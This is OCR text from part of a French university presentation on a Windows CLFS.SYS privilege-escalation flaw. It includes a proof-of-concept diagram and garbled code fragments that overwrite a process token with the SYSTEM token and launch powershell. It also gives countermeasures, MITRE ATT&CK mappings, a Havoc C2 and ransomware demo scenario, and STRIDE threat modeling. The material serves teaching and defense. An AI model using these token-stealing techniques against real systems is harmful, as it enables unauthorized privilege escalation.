Jeton du processus
par le Jeton Systéme

Utilisation de
fonctions "Gadgets"

Libération de Creation du pointeur Copie du Jeton dans Lancement d'une
plusieurs espaces vers une cellule du un espace memoire commande en mode
mémoire PIPE A utilisateur privilegie

Chargement des Récupération de
headers des 10 l'adresse du

fichiers Spray blf en programme Flgutez . SChéma de |a POC

meémoire malveillant
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C. Vulnérabilité
2. Explication

*(UINT6U*)OXxFFFFFFFF = *(UINT6U4*) (pos_token + (UINT64)temp_chunk);// system token write content
*(UINT6U*)0x100000007 = System_token_value;

*(UINT6U*)Ox50004U8 = g_EProcessAddress + token_offset - 8;// target wire address
CreatelLogFile( pszLogFileName: stored_name_Createlog, fDesiredAccess: GENERIC_READ | GENERIC_WRITE | DELETE, dwSharemode: FILE_SHARE_READ, psalog

Figure 34 : Code
if (wcscmp(_stringl: username, _string2: L"SYSTEM") == 0) {
printf(_Format: "WE ARE SYSTEM\n");
if (run_an_exe) {

! std::cout << "We will run this commande : " << path_to_exe << std::endl;
system( _command: path_to_exe);

L TP I TEE b e

}
else {
i system( _command: "powershell.exe");
}
else {
E printf(_rormat: "NOT SYSTEM\n");
}

Figure 35 : Code exécution deI;»co/mmande privilégi



C. Vulnérabilité

o OO0 O

3. Contre-mesures

Mettre a jour tous les appareils Windows vers une
version plus récente que mars 2023.

Mettre a jour la base virale de I'antivirus

Vérifier que la version de CLSF.SYS est supérieure
a 10.0.22000.1574

Vérifier les traces dans le dossier public

44



D. A
Démonstration @ ,

Modeéle de sécurité
Scénario simple

Scénario réaliste N .
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Sécurité Windows

La sécurité en un clin d'ceil

Affichez I'état de sécurité et d'intégrité de votre appar

Accueil .
prenez les mesures nécessaires.

Protection contre les virus et menaces

Protection du compte

Pare-feu et protection du réseau O é). ((Ta a g @

(il 1 T T Gl Gl T Protection contre les virus et Protection du compte Pare-feu et protection du Contrdle des applications et Sécurité des appareils Performances et intégrité de
— . menaces Aucune action requise. réseau du navigateur Afficher le statut et gérer les I'appareil
S A S el Aucune action requise. Aucune action requise. Aucune action requise. fonctionnalités de sécurite Aucune action requise.
matérielle.

Performances etintégrité de Iappareil
Options de contréle parental
cooo O
Historique de protection Oj
Options de controle parental Historique de protection
Gérez la fagon dont votre famille Voir les derniéres actions et

utilse ses appareils. recommandations en matiére de
protection.




D. Démonstration
2. Scénario simple N

O Une personne souhaite faire une élévation de privilege sur une
machine qui ne lui appartient pour faire une action interdite

O Ex: Un lycéen au CDI qui veut installer Minecraft sur les
ordinateurs

O Ex: Un employé de bureau qui veut installer Photoshop

Initial Access Execution Persistence Privilege Escalation Impact
10 technigues 10 technigues 19 technigues 14 technigues 14 techniques
Walid User Valid Access Token
Accounts IF Local Accounts  Execution [IF Malicious File  Accounts I Local Accounts Manipulation I Token Impersonation/Theft Resource
Hijacking
Figure 37 : Mitre Scénario Simple .
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https://youtu.be/20blj42MGys



https://youtu.be/2obIj42MGys

D. Démonstration
3. Scénario réaliste /

O Un attaquant souhaite mettre en place un Command an'd Control ((‘%
pour pouvoir désactiver I'antivirus pour ensuite.déployer un
ransomware.

O Ex: Le groupe Nokoyama ._¢-’__./

TS .

—
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D. Démonstration
3. Scénario réaliste

I/) Création du loader et du payload
i i Ches
PAYLOAL

Havoc

\

Infection via mail phishing

Figure 38 : Création du virus

Encapsulation

10



D. Démonstration e
3. Scénario réalis

Initial Access Execution Persistence Privileqe Escalation
10 techniques 10 techniques 19 technigues 14 technigues
Walid User Walid Access Token
Accounts Il Local Accounts  Execution I halicious File  Accounts HF Local Accounts Manipulation HF Token Impersonation,/Theft
EN (072 U (0
Defense Evasion Command and Control Impact
35 techniques 17 techniques 14 techniques
Access Token g Application Account Access
Manipulation ., ‘Token Infperseimai ey e Layer ‘Web Protocols Rermovwal
Protocal g
Debugger Evasion Data Destruction
Data
Deobfuscate/Decode Obfuscation Protocol Impersonation  Data Encrypted for
Files or Infarmaticon 03 Impact
Indirect Command Encrypted ] Data Manipulation
Execution Channel ., ‘ Smmelits Cripiagrapiy (073
Process Injection ., ‘Dynamic—link Library Injection Defacement .,

Disk Wipe

Endpoint Denial of
Service .,

Fimancial Theft

Figure 39 : Mitre Scénario Reéaliste
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https://youtu.be/Oi2kS67IGwY



https://youtu.be/Oi2kS67lGwY

E.
Ouvertures

1. Secure Coding

2. Threat modeling :




E. Ouvertures
1. Secure Coding

O Secure By Design
O Culture of Security (Secure by default)
O Auditing
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E. Ouvertures

2. Threat modeling

O STRIDE : Framework d’identification des risques inform.atiques

O Développé / Utilisé par Microsoft

O Menaces :

Threat
Spoofing
Tampering
Repudiation
Information disclosure
Denial of service

Elevation of privilege

Desired property
Authenticity
Integrity
Non-repudiability
Confidentiality
Availability

Authorization

Threat Definition
Pretending to be something or someone other than yourself

Modifying something on disk, network, memory, or elsewhere

Claiming that you didn't do something or were not responsible; can be honest or false

Someone obtaining information they are not authorized to access
Exhausting resources needed to provide service

Allowing someone to do something they are not authorized to do

Figure 40 : STRIDE 55



Merci pour |
votre attention !

Avez-vous des questions ? %
N'hésitez pas a nous contacter pour
toute information : >

mohamed-abdallahi.lLLA@etu.univ-amu.fr

alexandre.BRIONGOS@etu.univ-amu.fr
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